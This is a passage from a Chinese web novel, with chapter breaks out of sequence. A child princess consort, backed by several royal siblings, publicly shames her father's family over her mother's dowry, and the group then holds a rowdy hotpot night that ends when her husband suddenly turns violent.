她走在最前面,身后跟着一排的皇天贵胄。
活像鸭妈妈领着一群小鸭子上街!
只不过到这儿反了过来,是小鸭子领着一群鸭妈妈……
路过的宫女太监看见这一幕,还以为自己眼花了。
揉了揉眼再看一眼……视线从谢元棠看到走最后的司徒烨,再看回谢元棠。
脑海中只剩下两个字——牛逼!
这一天开始,皇宫里隐隐多了一个流言:谢元棠是皇宫一霸!几位皇子公主全被她给霸凌了!
谢元棠还不知道自己身上多了个“皇霸的标签,这会儿正领着她一
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群“小弟去找夫君。
到了乾心殿门口,刚好看见司徒擎从里面出来,身后跟着司徒砚和孙逢必。
两人跟霜打的茄子似的,一个赛一个的颓!
反观司徒擎,脸黑如铁!
谢元棠老远看见
司徒砚连司徒擎都没看见就撒丫子跑了过去。
“夫君~”
听见她的声音司徒砚顿时抬头桃花眼在锁定她的声音时顿时浮现出笑意笑着大步走过去伸出双手接住她扑过来的身子:“娘子!”
谢元棠先上下打量他一眼见没什么事笑嘻嘻地张口就是一顿盲夸:
“夫君你真的乖乖待在父皇这里呀?哎呀夫君真棒!看你跟父皇聊得开心我就放心啦!”
“哼!”
被无视的司徒擎冷哼一声怒道:“谢元棠你那只眼睛看见他跟朕聊得开心了?”
谢元棠眨眨眼司徒砚心虚地小声道:“娘子其实……好像不是很开心。”
孙逢必在后面小声补充:“不是好像是龙颜大怒啊喂!”
司徒砚手里抓着谢元棠头顶的绒球委屈地瘪嘴:“我都说了我跟父皇不熟才说几句他就生气了。”
“娘子你下回别让我来找他了我不想拿屁股贴他的脸……”
听得一清二楚的司徒擎:“……”
这是亲儿子不能杀不能杀!
谢元棠尴尬地咳嗽一声舔着狗腿的笑脸望向司徒擎:“父皇有没有人跟你说过您真是仁君!真是慈父!”
“哼少来!”
司徒擎冷哼一声小丫头想给他吃糖衣炮弹?
他是那么容易被哄的人?
谢元棠眨眨眼大着胆子小手拽着他的龙袍摇啊摇:“父皇呀您看您夫君这么气您您都没打他没骂他只是自己在那里生闷气您真是太伟大了!”
“呵。”
“哎
“啧。”
“父皇夫君他其实就是嘴笨他心里是想着您的不然他怎么会愿意来找您呢?他连舅舅家都不敢自个儿去呢!”
“……”
司徒擎脸色微变低头看了眼谢元棠:“真的?”
第82章 他的五弟,护不住她
众人齐齐看向那只大手。
谢元棠也回过头,蹙眉看着罪魁祸首:“你干嘛呀?”
司徒砚抿了抿唇,他也说不清自己方才为什么手伸那么快。
想了想,他强而有力的双臂微微一使劲,将谢元棠整个人都按回在自己腿上,才皱眉道:“三哥有病,娘子你这么重,会累着他的。”
司徒墨:“……”你才有病!
谢元棠:“……”你才重!
众人:“……”
还得是老五啊!
你是懂怎么一句话得罪两个人的!
司徒砚没看出两人生气,只抱牢了谢元棠:“坐好。”
然后又朝司徒墨伸出手:“三哥,把垫子给我,谢谢。”
司徒墨眼皮微眯,微笑道:“五弟,你……”
话没说完,马车突然停下。
车夫的声音传来:“皇子妃,言枫来了。”
言枫?
谢元棠意外地挑了挑眉,下一瞬,就听见言枫着急忙慌的声音:“殿下,皇子妃,不好啦!谢家人又来找麻烦了!”
话音落,言枫几个跳跃跳到马车跟前,都没注意到孙逢必也在,抬手就去撩车帘。
车帘撩开,依次露出司徒冉等人的脸。
言枫顿时愣住。
他看看那一车的脑袋,眨了眨眼,放下车帘。
揉揉眼,再撩开……
还是一车的脑袋!
言枫:“……殿下,皇子妃,你们被绑架了?”
谢元棠从最里面艰难地挤出来:“先别问了,谢家怎么回事?今天又是谁上门了?”
言枫看看车里的人,有点后悔这么直接地跑过来,他压低嗓子道:“是您祖母,谢老夫人,领着魏莲和谢雨沫一块儿来的。”
“谢老夫人?”
谢元棠冷哼一声:“你说那个死老太婆啊!”
司徒凤眼睛一亮,有瓜!
其他人:“……”这是真不把他们当外人啊,装都不装一下了。
言枫快速道:“他们抬了几大箱子去,说是给您的嫁妆,但是需要您亲自去见他们。”
顿了顿,言枫小声补充道:“这次他们当着百姓的面开箱了,没有猫腻,里面全是真的嫁妆。”
“哼没猫腻就不会闹这么大动静了。”
谢元棠冷笑她太了谢家那一家人的德行了。
简而言之就是缺德没行!
他们才不会这么轻易地将嫁妆送给她尤其谢老夫人还亲自上门摆明了是要给她点颜色看看!
司徒凤在一旁撺掇:“谢元棠你家人都在门口等你了赶紧回去啊!”
她急着吃瓜!
谢元棠斜她一眼吩咐言枫:“你先回去让红蕖他们别冲动行事我马上就到。”
“是。”
言枫点了点头又犹豫着问道:“您要是没把握要不跟殿下先在外面躲躲
他之所以来这里为的就是拦住谢元棠和司徒砚。
省得两人什么都不知道直接撞对方枪口上。
谢元棠嘴角扬起个灿烂的微笑抬手指指车里:“怕什么我可是带了帮手的!”
一众姓“司徒”的帮手。
言枫:“……”
他看看这一车的主子突然也觉得没啥好怕的了。
谢元棠让他先回去这才让车夫继续赶车。
司徒凤比她还要着急:“车夫快点加快速度!”
谢元棠没好气地翻了个白眼:“三妹妹你吃瓜的意图能别表露得这么明显吗?”
“这有什么?”
司徒凤傲娇地一哼:“本公主去给你镇场子你让本公主吃点瓜怎么了?”
“说得也是。”谢元棠打了个哈欠往后靠在司徒砚怀里休息。
司徒砚低头担忧地看着她抬手替她将挡住眼睛的刘海给捋到旁边。
司徒墨视线不着痕迹地略过两人微微垂眸。
一个太天真一个太年幼。
他的五弟护不住她。
——
皇子府门口。
谢元棠到的时候周围已经被吃瓜百姓围得水泄不通了。
谢老夫人拄着拐杖沉着脸质问红蕖:“元棠呢?这么久了她怎么还不出现?”
“就算当了皇子妃老身也还是她的祖母有她这样不敬不孝的吗?”
红蕖忍着火气耐着性子道:“老夫人我们皇子妃去学堂还没回来等她回来自然会来见
您的。
“哼,老身看她是躲起来不敢回来了吧!
谢老夫人阴阳怪气,魏莲在一旁煽风点火:“唉,当初
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在谢家的时候,老夫人您可是最宠皇子妃的,哪里想得到今日来这儿竟然连人也见不到。
“妾身本以为皇子妃让妾身等候多时就算了,没想到她竟狠心让老夫人您也等了这么久,您都这么大年纪了,这要是有个好歹……
话还没说完,就被一道脆生生的声音打断。
“哎呀?有个好歹怎么滴?
众人下意识地望向声源处。
只见马车所停之处,司徒砚站在地上,双手举着谢元棠,将她从车上抱下来。
谢元棠笑嘻嘻地看向魏莲:“怎么不继续说了?让我听听看,你是怎么诅咒祖母的呀!
魏莲:“……
谢老夫人没好气地瞪了眼魏莲,又看向谢元棠,语气充满了长辈的架势。
“元棠,你可算回来了,你们家这些个奴才,说你不在家,他们没权利让我们进门呢!
谢元棠眨眨眼,点头道:“啊,是有这个规矩,祖母有意见啊?
“我当然有,我是你祖母,哪有将自己祖母关在门外的道理!
“这样啊……
谢元棠状似为难地歪了歪头:“可是这条规矩是曲公公定的,说是怕人叨扰夫君养病,祖母若是有意见,只怕还要去问问父皇了,要不明儿我帮您问问?
谢老夫人:“……
“姐姐。
一直没开口的谢雨沫这会儿站出来,轻声道:“姐姐,祖母是来给你送嫁妆的。
谢老夫人冷哼一声:“你不是拿了清单吗?正好,老身也有笔账,要跟你好好算算。
“算账?
谢元棠狐疑地看看那几大箱子,就听见谢老夫人开口:“我谢家不是计较这点金银的人,只是你母亲冷蕴菀这些年一直养病,谢家给她的全是上品药材,一养多年,这些难道不需要好好算算吗?
原来是算这个账。
谢元棠嘴角扯出一抹讽笑,很快又恢复如常:“好呀,刚巧我有几位朋友也来了,就请他们做个见证吧!
谢老夫人不屑地翻了个白眼。
想她一个小丫头片子能带什么朋友。
但下一瞬,她就僵住了。
马车里,依次走下来二皇子司徒冉,三皇子司徒墨,四皇子司徒烨,六皇子司徒煦,以及三公主司徒凤。
周围百姓全体哗然!
第83章 有人撑腰!
往日里一个都难得见到的天潢贵胄,这会儿竟然集体亮相。
还是从一辆马车里冒出来的!
百姓们睁大眼睛看着一排皇子公主,那惊讶的眼神,就跟看见魔术师当场大变活人一样一样的!
“天呐!是我昨晚熬夜看话本,今天才眼花了吗?不然我怎么看见宫里头的贵人都站在我面前?”
“拉倒吧!你那是白内障加散光,你看什么不花?不过我怎么也看见了?”
“二狗,你脸伸过来给我掐一下……疼吗?哦,疼啊!那看来是真的了!”
在一种的激动中,有一道大聪明的声音特别显眼!
“切~瞧你们一个个土包子!”
“那些都是假的,都是小皇妃请来的模仿秀杂技团!真当皇子公主是那么好见的,看那个戴面纱的,真公主会戴那么便宜的纱巾?”
众人恍然大悟,集体看向司徒凤。
司徒凤:“……”
她摸了摸脸上的粉色面纱——十两金子从谢元棠那里买的粉色纱巾,赊的!
也不知道谢元棠那小挎包里怎么就有这玩意儿,但她就是有!
可尽管围了面纱,此刻司徒凤也能感受到无数道炙热的目光凝在她身上,她有些不适地往司徒煦身后站了站。
司徒煦眉头微蹙,冷厉的视线一个个扫过去,冷声道:“本宫在此,谁敢对我皇姐无礼?”
司徒冉清了清嗓子,他今天咳嗽的声音简直比司徒墨还多。
“诸位,我等是来看望五皇弟和弟妹的,倒是没想到会碰上谢老夫人在此。”
“虽是谢家家事,但五弟妹既是本宫弟妹,也算是我皇室中人,本宫和几位皇弟就不能不管了。”
司徒墨微微一笑,清冷如仙的气度一瞬间收获了大批花痴粉。
他看向谢老夫人和魏莲,慢条斯理地开口:“方才若是本宫没听错的话,老夫人似乎是要算谢夫人这些年的治钱……”
顿了顿,他面上露出些许疑惑:“许是本宫几日没出来消息滞后了,冒昧问一句,谢夫人……难道和丞相大人已经和离了吗?”
“不然怎么自己夫人的救命钱也要计较呢?”
这话一出,百姓们看着谢老夫人和魏莲的目光顿时变了。
“就是啊,昨天整一出,说是给嫁妆,结果箱子都没装满,今天又来算账,可真是有意思!
“没想到堂堂丞相竟然是这种鸡毛男,妻子生病的钱都要算计,我yue~隔夜饭都要恶心出来了!
“还有脸让小妾来找皇子妃呢!这跟脱了裤子到别人家门口拉屎有什么区别?
听着周围的议论声和责骂声,谢老夫人怒了,谢元棠笑了。
她转头看了眼这位三皇兄,悄悄对他比了个赞!
“三皇兄有所不知,我娘亲和爹爹可没和离,不止如此,她还被爹爹送到了华觉寺养病呢。
“华觉寺?
司徒凤吃瓜心切,也顾不得有没有人看她,从司徒煦身后冒出头问道:“那不是你姑姑谢雪瑶偷情被抓的地方?
背景板孙逢必:“……您这吃瓜速度,比皇上的消息还灵通啊!
谢元棠点点头,叹息道:“谢雪瑶是去照顾我娘亲的,可是我去了以后才发现,娘亲用的是陈年薄被,穿的是单衣,药材是旧的,还被一个老刁奴长期下了砒霜……
本来谢雪瑶的事情已经被压下去了,但谢元棠此刻再提起,一下子就让众人想起了这件事。
“哎哟我听说那老刁奴说是谢雪瑶指使的,可谢雪瑶没承认。
“啧,那能承认吗?这种事当然是找个奴才当替死鬼咯~
百姓们的唾沫星子喷过来,把谢家那些人喷得一个个都抬不起头!
谢老夫人老脸一阵红一阵白。
她威风惯了,拉不下脸来,下意识地拿拐杖往地上一敲,怒呵:“都给我住口!
司徒墨淡淡开口:“老夫人是在说本宫吗?
“不,我……
谢老夫人慌了,她再大的胆子也不敢跟三皇子叫嚣啊!
“三殿下误会了,老身不是要计较冷蕴菀的治病钱,只是她多年来用的药材实在昂贵,谢家这些年来花费颇多。
“兆青为官清廉,虽已是丞相,但多年来并没有多
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少积蓄,这些殿下也是知道的。
司徒墨:“不,本宫不知道。
谢老夫人:“……
“噗!
谢元棠没忍住笑出来,一拍小手拿出娘亲给的清单:“好了,
闲话少说既然你们要算账那就算吧!”
谢老夫人在看到她手中的清单时面色登时就变了。
她转头看向魏莲咬牙小声道:“她的清单不是给你了吗?”
魏莲:“……我也没想到她还有一份啊!”
两人都沉默了。
她们敢这么算计就是以为谢元棠手里没清单没办法跟他们对账。
只要他们拿捏了百姓的舆论风口不怕搞不死谢元棠一个九岁的小女娃!
可现在谢元棠又拿了一张清单出来……
见她们一直盯着自己手里的清单谢元棠眨眨眼笑得十分可爱。
“怎么了?好奇我为什么还有一份清单吗?”
“难道给了你们一张自己还不知道留个备份吗?”
“我又不傻!”
谢老夫人、魏莲:“……”所以傻的是她们?
谢雨沫眼看着她们又要沦为笑柄咬了咬唇出声:“姐姐这些到底是自家事能不能关起门来再算账呢?”
“呀!这会儿知道是自家事了?”
司徒煦冷哼:“之前吵着要当着百姓面算账的时候怎么不说?”
司徒烨大手一挥:“就在这里算!”
谢雨沫:“……”
谢老夫人悔得肠子都青了但已经走到这一步只能硬着头皮开始算账。
“冷蕴菀嫁到谢家第一年就开始生病这些年来花掉的大约有六千九百两这些都是有账可查的……”
“账本何在?”
司徒冉微笑开口:“老夫人不介意的话本宫想看看。”
谢老夫人:“……”
魏莲灰溜溜地将他们连夜作假的账本递过去。
司徒冉只当没看出那账本是假的翻了两页
“若本宫没记错这千年老参当年父皇是专门赐给谢夫人的怎的账本里还给折算成银子了?”
第84章 一分不少全都拿回来!
“哇哦~”
“嚯!”
随着司徒冉这句话落下,一时间瓜声一片。
司徒煦不屑冷哼:“连御赐的都要折算成钱,算得是真精啊!”
司徒墨:“不止,那支老参我有印象,最多只值三千两。”
司徒凤:“这么算的话,扣除老参,谢夫人这些年治病只花了不到三千两?”
“就这还要扣在她的嫁妆里?”
几人一人一句地质问,生生将谢谢老夫人和魏莲臊得半个字都说不出来。
周围百姓如今已经懒得吐槽了,一个“tui”代表了所有!
魏莲悄悄扯了扯谢老夫人的袖子,小声道:“您快解释啊!”
谢老夫人嘴唇抖了抖,却不知该怎么狡辩。
她哪能想到谢元棠会找来司徒冉等人,更哪里能想到,司徒冉竟然连几年前的一支老参都还记得!
谢雨沫心中暗恨没用的祖母和没用的娘。
不就是狡辩嘛,不就是卖萌装可怜嘛!
谢元棠会,她也会!
“几位大哥哥,你们是不是搞错了呀~”
谢雨沫仰起头,眨巴着大眼睛,嘴巴噙着一根手指,用嗲嘻嘻的夹子音道:“雨沫年纪小记不清,可是那支老参也未必就是当年御赐的那支吧?”
“这些年里爹爹给娘买了许多珍贵的药呢,雨沫亲眼见过的哦~”
她一边说话,一边眨眼。
企图营造无辜天真的萌宝形象,可惜因为眨得太过频繁,而让人以为她得了眼疾。
司徒煦皱眉:“你眼睛不舒服?”
司徒墨:“小孩子还要不要吮手指的好,太脏了!”
谢雨沫:“……”
司徒冉叹了口气,将账本还回去,顺便对谢雨沫道:“你既然不想承认那支老参是御赐之物,那么本宫便不得不问了,御赐的老参在哪里呢?”
谢雨沫顿时僵住。
一旁的谢老夫人狠狠瞪了她一眼。
多什么嘴!
要是能否认,她还能一句话不说?
那可是御赐之物,是能随便蒙过去的?
蠢货!
怎么就没谢元棠半分机灵!
一旁本来打算干架,但发现架全被别人
干完了的司徒砚,小声对谢元棠道:“娘子,她这是不是就是你说的东施啊?”
谢元棠笑着夸他:“夫君连这个都记住了?真聪明!”
司徒砚憨笑着挠挠头,随即笑容又黯淡了些许。
他也想更聪明,想像几位皇兄那样,随便说一两句话就能帮到娘子。
可是他既不懂账本,也不记得什么老参的价格,甚至方才他们说那么多,他都没能全听懂。
司徒砚低头看着谢元棠,向来清澈的桃花眼中有些晦暗难明。
谢元棠没注意到他的异样,她噔噔噔跑到司徒冉跟前,笑着再给出一击。
“二皇兄再帮我康康这个呗,这是我娘当年下嫁时带过去的嫁妆,这上面是多少银子啊?棠棠还小,可数不清呢!”
司徒冉:“……”你数不清?拿着炭笔一笔笔记账的也不知道是哪个!
他有些无语地看了眼谢元棠,但看着小丫头亮晶晶的大眼,还是宠溺地摇了摇头。
罢了,谁让他今天就是来蹭饭的呢?
司徒冉宠溺地摸了摸她的头发,接过账本,打眼一扫,笑了。
而后看向众人,字字清晰。
“折算下来,谢夫人的嫁妆至少也有五万两之多。”
这还不算冷蕴菀手里的铺子田地。
当年冷枕山虽然生气,却是真心的疼冷蕴菀这个女儿,几乎将冷家在京中几代的家产全都给她了。
就为了让她嫁过去以后有嫁妆傍身,夫家能对她尊重一些,好一些。
司徒冉这话一出,人群顿时一阵安寂。
接着,整齐划一地面朝谢家人。
“he~tui!”
因为过于恶心,所以一个字不想说!
送一口清泉,其中滋味你自己体会!
谢家人:“……”
谢元棠朝言枫使了个眼色,言枫立刻上前打开箱子。
红蕖拿过清单一一对照:“红玛瑙镯子……少了一个诶?哎哎这珊瑚呢?还有珍珠项链呢?”
她一边查一边念,最后气哼哼对谢元棠道:“皇子妃,这些还没有清单上的十分之一!”
谢元棠眨眨眼,转头看司徒砚:“夫君,你怎么看?”
司徒砚愣了下,想了想看向谢老
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夫人:“你们明日还来吗?”
谢老夫人:“……”
司徒砚皱眉道:“明天将娘子的东西都还给她,不然我就跟父皇告状去!”
他不行,但父皇行!
父皇是他记忆中最强大的人,有他出马,娘子一定不会再被欺负了!
说完这些话,司徒砚低头看向谢元棠:“娘子,这样可以吗?”
“夫君真棒!”谢元棠朝他竖了个大拇指。
司徒砚眼睛一亮。
他帮到娘子了吗?
司徒烨扫过五弟,微眯了眯眼。
母妃的担忧不无道理,五弟……似乎和父皇越走越近了……
谢元棠笑嘻嘻看向谢老夫人:“祖母,您听到了?明天就是最后期限哦~”
“姐姐……”
谢雨沫急了,那么多东西,全给了谢元棠,她还怎么穿金戴银?
“姐姐,我们都是一家人,一定要分这么清楚吗?”
谢元棠挑了挑眉,似笑非笑地看着谢雨沫。
“真是好笑,妹妹这会儿子又肯承认跟我是一家人了?”
谢雨沫:“……”
魏莲也在一旁帮腔:“皇子妃,这件事是我们做的不合适,可是谢家这些年并没有亏待你的地方啊,一定要闹到这种地步吗?”
“这种地步是哪种地步?”
谢元棠往前一步,小脸上没了笑意,冷声道:“我只不过是想要回属于我的东西,怎么就不行了?”
“没有亏待我的地方?难道我还要感谢你们让我流落在外过的这几年苦日子?”
她一声声质问,目光扫过众人,清晰道:“属于我娘亲的东西,我一定要一分不少全都拿回来!”
“都在干什么?”
一声怒喝传来。
谢府的马车疾驰而来,谢兆青黑着脸从马车里出来。
他知道谢老夫人和魏莲来这里的事情,却没想到会闹到这种地步!
简直将他的里子面子全都丢尽了!
谢元棠讽笑:“哟,是我的好爹爹啊!”
“来来来~大家都来看看!”
“这就是我那个花着妻子嫁妆,不给妻子看病,把亲生女儿扔出去九年,回来就让她冲喜,还克扣她嫁妆的好父亲谢兆青啊!”
第85章 打掉牙,气昏厥,怼吐血,爽!
谢兆青一出现,原本全场安寂。
但谢元棠向来是懂开口的!
更懂说话的艺术!
一时间,全场都只回荡着一句话:
“好父亲谢兆青啊……谢兆青啊……兆青啊……青啊……”
清晰入耳,魔性洗脑!
众人下意识看向谢兆青,丞相大人的双目仿佛燃烧着怒火,连下巴都气得在抽动。
如果古代有弹幕,此刻弹幕上应飘满了三个大字:
【好父亲!】
再来两个字的昵称:
【青啊~】
司徒冉等人憋笑憋得辛苦,心下更加佩服谢元棠的嘴皮子。
司徒煦撇撇嘴心中腹诽,也不知道谢元棠的说话艺术是跟谁学的。
他和皇姐都在她手上吃好几次闷亏了。
那樱桃大小的嘴巴一张一合,出口就是刀!
一句扎心!
两句戳肺!
三句让人气死再活来!
没看谢兆青这会儿脸色已经由黑转青再转红,眼看就要厥过去了嘛!
看着儿子如此被人嘲笑,谢老夫人悔得肠子都青了,她下意识开口,想要解释两句。
但因为谢元棠那句“青啊”太过魔性,以至于谢老夫人脱口而出:
“青啊……”
谢兆青:“……”
众人:“噗唔……”憋笑好辛苦,快来个人救救他们吧!
嚎完一嗓子以后,就站在那里看戏的谢元棠对此表示十分满意。
尤其看着谢兆青的脸色,她觉得自己今晚都能多吃两大碗饭!
司徒砚比她高一些,看得也更清楚。
他甚至歪头凑到谢兆青脸前,直直地盯着他,好奇十足地问了句:
“你的脸为什么会变色啊?”
众人:“……”
“噗!”
不知道是谁没忍住笑出声来,紧接着人群中就爆发出一阵大笑。
“咳咳哈哈哈哈哈!”
“哎哟五皇子,你是会说话的!”
“继续,会说你就多说点!”
司徒砚还是头一次被百姓们这么夸,一时红了脸,害羞地往谢元棠身后躲。
他不躲还好,这一脸红一躲闪,那本来就
妖孽的容貌更加美得绝代芳华。
仿佛仙林深处不谙世事的狐妖勾人而不自知。
那双略带躲闪盛着纯欲的桃花眼更让人想要欺负他征服他!
百姓们一个个看向司徒砚的眼神变了质。
“我说……你们不觉得五皇子比三皇子还美吗?”
“二狗快捂住我的眼!再看下去我母爱要变质了!”
“我……我有点热先脱了……”
听着周围越来越不像话的议论声司徒冉嘴角微抽。
司徒墨低声道:“二哥该你出马了。”
司徒冉:“……”
艹!
他就不该来凑热闹!
下辈子再不当老二!
“咳……”
可怜的二皇子今天又又又一次清嗓子。
“诸位请安静。”
司徒冉往前两步抬手压下群众的哄闹将话题转回来:“既然谢丞相来了那么本宫觉得他一定会处理好这件事的对吗丞相?”
谢兆青后槽牙都快咬碎了。
但问他话的是二皇子他不能不答。
“……是微臣治家不严让几位殿下看笑话了。”
司徒凤对他们皇子臣子的对话没兴趣
谢兆青:“……”他是不是哪里得罪过三公主?为什么她说话这么毒?
其实他想多了司徒凤纯粹就为了看热闹。
她只是想问问谢兆青明天的安排要是明天谢家人还来唱戏她也还来吃瓜!
这不比宫里有趣多了?
一连被几个皇子公主过问家事还被京中百姓频繁议论谢兆青就算是脸皮厚如城墙这会儿也裂开了。
他深吸口气道:“殿下放心臣会在最短时间内整理好元棠的嫁妆一分不少的还给她。”
鲜少说话的司徒墨冷不丁开口:“最短时间是多久?”
谢兆青试探着开口:“……三三天?”
司徒墨:“呵。”
谢兆青:“那两两天?”
司徒煦:“切~”
谢兆青:“……”到底谁教你们这么说话的?!
按了按胸口快要吐出来的血,谢兆青咬牙道:“明天,明天行了吧!”
司徒冉点点头:“希望丞相说到做到。”
谢兆青应了声,转头又看向谢元棠。
真没想到,事情闹到这一步,谢元棠竟能找来这么多帮手为她撑腰。
这个女儿……如今当真是了不得了!
心里几经转念,谢兆青勉强扯了个不算笑的弧度:“元棠,之前是
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为父的忽略了,明日定当弥补你,这件事……就这样过去了行吗?”
“行呀。”
谢元棠眨眨眼,表现出一个九岁孩童该有的“善良单纯”,糯糯道:“不过爹爹不可以给了我嫁妆以后,又来管我借钱哦~”
谢兆青:“……不,不会。”
他转头看向没脸的谢老夫人,还有魏莲和谢雨沫,冷着脸低斥道:“还不走?”
魏莲不敢说话,只低着头拉紧谢雨沫的手。
谢雨沫红了眼眶,她不明白,明明他们是来算账的,为什么到头来还是被谢元棠给“算账”了!
还有二皇子他们,明明她也很可爱,嘴巴也很甜,为什么他们就是帮着谢元棠?
难道她真的这么不如那个小贱人吗?
想到这里,谢雨沫恨恨地瞪了眼谢元棠。
那恨意太过炙热,连司徒砚都皱了下眉,谢元棠却根本没当回事。
甚至笑得更开心了,还朝她挥挥手:“妹妹一路走好哟~下次别再这么绿茶了哦~”
谢雨沫:“谢元棠,你……”
“啪!”
话音未落,谢兆青已经一个耳光甩过来,怒吼道:“让你滚回家你没听见是不是?还嫌丢人还没丢够吗?”
他手上一点没收着力,谢雨沫的门牙登时就被打掉了一颗,嘴里满是血腥。
魏莲心疼地抱住女儿,怨愤地看着谢兆青:“老爷,您怎么可以下这么重的手?”
谢雨沫张着血盆大口,哇一声大哭起来:“我系牙,牙……”
谢兆青呼吸一滞,不耐烦地让人将她们送回去,转头再去扶谢老夫人。
谢老夫人还心疼那些嫁妆,正想开口让人先将箱子抬回去,好让她做点手脚,贪下一丁点再说。
谁知道还没开口,红蕖就笑盈盈道:“老夫人,这些我刚才都对过清单了,就不用您再带回去了,怪麻烦的。”
“你,你……嗝!”
话刚开头,一个怒急攻心,“嗝”一声就晕了过去!
谢兆青顿时又是手忙脚乱,他转头看向谢元棠,希望她能有点眼色过来搀扶。
谁知道谢元棠笑得灿烂,一挥小手:“爹爹走好,不送了哟~”
然后拉着司徒砚,转头招呼司徒冉等人:“走了,今晚火锅局庆祝一下!”
谢兆青:“噗!”
一口血再也没忍住,吐了出来。
刚好吐在谢老夫人脸上!
第86章 我怕你?笑话!
看着谢家众人狼狈离开,周围百姓笑得一个比一个大声。
谢元棠朝众人道:“今日辛苦大家在这里看热闹,我让人准备了点心水果,大家带回去吃吧。”
话落,红蕖和言墨已经将府中的糕点和水果拿了出来。
没想到自己吃瓜看戏还能有东西拿,众人都很惊喜。
而且几天下来,他们莫名觉得跟小皇妃好像“亲近”了些,一些人也敢大着胆子开玩笑。
“哎呀小皇妃客气了,下次有瓜记得还叫上我们啊!”
“就是就是,小皇妃如果真的要感谢我们的话,也用不着这些瓜果点心,直接让五殿下站出来给咱们看几眼,饱饱眼福就够啦!”
谢元棠大眼圆瞪:“那不行!我夫君可不是随便就能看的!”
有人举手:“我给钱!”
谢元棠:“那可以!”
司徒砚:“……”
其他人:“……”
总算让门口的百姓散开,谢元棠转头看向一个个等着蹭饭的人,笑了笑:“今天多谢大家的帮忙了,今晚火锅局免费,不收你们钱了!”
司徒凤翻了个白眼:“本来就不是我们掏钱,是记在孙逢必账上的。”
一直隐身当背景板的孙逢必:“……”真的,不用想起他也没关系。
一群人进了皇子府,红蕖和言枫等人忙着准备火锅材料,司徒冉索性也让手下去帮忙。
谢元棠让人将锅支在院子里,反正五月的天也不冷,这样吃还凉快。
众人就地围坐,司徒冉笑道:“倒是有吃野味的意思。”
司徒墨也点头:“没想到今天我没去成围猎,却还感受到了野炊的乐趣。”
谢元棠撇撇嘴:“哼,就不爱跟你们大人说话,都分不清你们是在夸还是在损!”
“哈哈哈哈!”
众人被她逗得大笑出声。
凉风习习,风中混着麻辣香味,让人口水直流。
司徒冉忽然轻叹了声:“我们兄弟几个,倒是少有机会这样坐在一处。”
司徒烨心里装着事,闻言看向司徒砚:“五弟,你家没酒吗?”
“就是,有肉没酒多不爽!”司徒煦也嚷道。
司徒砚愣了下,转头看谢元棠,
却见谢元棠眼中尽是兴奋:“对啊我都忘了上酒上酒!”
言墨搬来几坛子酒司徒烨打开两坛。
刚给几个兄弟倒满就看见一只小手端着大碗凑过来。
一抬头对上谢元棠亮晶晶的眸子。
“四哥求求~给我点!”
谢元棠舔了舔嘴唇他们不说她还没想喝酒
司徒烨挑挑眉:“你要喝?”
“不行!”
“不要!”
没等谢元棠点头司徒墨和司徒砚同时开口。
司徒砚皱着眉头将她手里的碗拿走:“娘子小孩子不可以喝酒的。”
司徒墨一抬手将司徒烨举着酒坛的手臂按下微笑道:“真想喝点什么不如让丫鬟给你调点果汁。”
谢元棠郁闷地搁下碗耷拉着小脑袋:“好吧好吧谁让我是小趴菜呢。”
才九岁的小趴菜个矮腿短没酒喝~
看着谢元棠吃瘪司徒凤笑声都张扬了两度:“哈哈谢元棠可算让你郁闷一回了吧你就乖乖待在那里看着我们喝酒吧!”
谢元棠幽怨地瞪她一眼身旁司徒砚不悦地看了眼司徒凤:“三妹妹你笑得太大声了。”
司徒凤:“……”
司徒砚低头看着兴趣低落的谢元棠柔声哄她:“我也不喝我陪娘子好不好?”
谢元棠眨眨眼眼珠子一转忽然一拍桌子站起身道:“虽然我喝不了酒但谁说只有酒能醉人的?”
她小声吩咐红蕖两句不一会儿红蕖抱着一大串红辣椒过来。
谢元棠得意地扯一根辣椒下来:“会喝酒算什么本事你们敢跟我拼辣吗?”
司徒墨手指微顿想也不想就认输:“我身子弱吃不了这么重口味。”
司徒冉:“……谢邀婉拒了。”
谢元棠转头盯着司徒烨司徒煦司徒凤:“你们不会也要认输吧?”
三人:“……”你这挑衅的语气不屑的眼神是几个意思?
司徒凤最先被激怒:“我怕你?笑话!来一根!”
司徒煦傲娇地一哼:“本宫从娘胎里就无辣不欢。”
司徒
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烨没说话直接用辣椒泡酒。
谢元棠得意地笑了,转头将一根辣椒递给孙逢必:“必姥爷~”
孙逢必苦着脸:“我吃辣上头,会发辣疯的。”
“没关系,你疯了我保准让人把你扔出去。”
“……”更不敢吃了。
于是火锅局分成两派,一派淡然吃饭喝酒,一派火拼辣椒泡酒。
红蕖和言枫等人担忧地看着这一幕,又齐齐看向言墨:“真没事吗?小皇妃都上桌了!”
言墨看着踩上桌,又被司徒砚给揪回来的谢元棠,嘴角微抽,不确定道:
“应该……没事吧?二皇子和三皇子都清醒着呢。”
三人对视一眼,心里都有些突突。
谢元棠叼着辣椒,撸起袖子朝司徒凤伸手:“来来来,再来,五魁首啊六六六啊……”
司徒凤一脚踩在椅子上:“白刀子进啊红刀子出啊……”
司徒煦:“……”没眼看,真没眼看。
他叹了口气,默默将自家亲姐的腿掰下来,让她在椅子上坐好。
司徒冉看了眼司徒砚,笑着对司徒墨道:“五弟如今倒是越来越好了。”
司徒墨也微笑点头:“这是好事。”
两人对视一眼,司徒冉举杯,司徒墨以茶代酒,轻轻一碰,各自不言。
夜风凉爽,月明星疏。
谢元棠和司徒凤在闹腾,司徒砚和司徒煦在收拾,司徒烨喝闷酒,司徒墨和司徒冉微笑聊天。
欢笑和吵闹声不停。
却又奇异的平和,温馨。
这一晚,在许久的后来,大家还会时不时的想起。
记起那晚的火锅局,记起那少有的,可以称之为“家庭聚会”的夜晚。
只是幸福总是短暂。
“碰!”
在所有人都放松享受,没有丝毫防备的时候,忽然,司徒砚抬手将身旁的椅子给踹翻了!
众人都是一愣。
司徒烨皱眉,不悦道:“老五,你干什么?”
司徒煦哼哼:“罚酒罚酒!”
坐在对面的司徒冉和司徒墨看着司徒砚,忽地脸色微变:“似乎……不对劲!”
第88章 再不放手,我剁了啊!
司徒凤听着她这话,只觉得她也被司徒砚传染疯了。
“谢元棠你白痴啊!”
“他都疯了,他能听你的话才怪!”
司徒墨和司徒冉急切地看着,随时准备动手救人。
连司徒烨都往前走了两步。
言枫更是正要出手。
却就在这时,众人眼睁睁看见,司徒砚那只快要打到谢元棠身上的手,缓缓放了下来。
司徒砚咬紧牙看着谢元棠,抬手去拉她:“走,走开……会伤你……”
“不走不走就不走!”
谢元棠小胳膊勒紧他脖子,小短腿攀住他腰,整个一熊猫抱树的姿势,拽走拽不下来!
